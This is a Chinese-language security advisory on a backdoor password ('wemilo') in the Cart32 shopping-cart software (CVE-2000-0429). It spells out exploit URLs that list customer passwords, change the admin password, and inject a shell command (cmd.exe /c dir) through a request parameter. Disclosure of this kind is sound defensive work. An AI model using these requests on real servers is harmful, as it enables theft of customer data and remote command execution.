McMurtrey/Whitaker & Associates Cart32 3.0描述:
McMurtrey/Whitaker & Associates Cart32 2.6
BUGTRAQ ID: 1153
CVE(CAN) ID: CVE-2000-0429
Cart32是一款适用于Windows操作系统上流行的电子购物系统,由McMurtrey/Whitaker及其合作者们开发。
Cart32被发现存在一个后门口令。任何知道了这个口令的攻击者都可以远程获得客户资料(包括口令,信用卡号等重要信息),并可以执行任意系统命令。
在car32.exe中存在一个后门口令:"wemilo",任何知道这个口令的攻击者都可以通过执行下列URL:
http://www.victim.com/scripts/cart32.exe/cart32clientlist
来获取客户的口令列表。尽管得到的口令是加密过的,但是通过在某些URL中使用这些口令密文,攻击者可以执行任意系统命令,例如:
http://www.victim.com/scripts/c32web.exe?TabName=Cart32%2B&Action=Save+Cart32%2B+Tab&SaveTab=Cart32%2B&Client=foobar&ClientPassword=e%21U%23_%25%28%5D%5D%26%25*%2B-a&Admin=&AdminPassword=&TabToSave=Cart32%2B&PlusTabToSave=Run+External+Program&UseCMDLine=Yes&CMDLine=cmd.exe+%2Fc+dir+%3E+c%3A%5Cfile.txt
执行这个url会将c:的目录列表保存在file.txt中。
另外,如果攻击者知道了后门口令的话,通过提交URL:
http://charon/scripts/c32web.exe/ChangeAdminPassword
将可以修改管理口令。
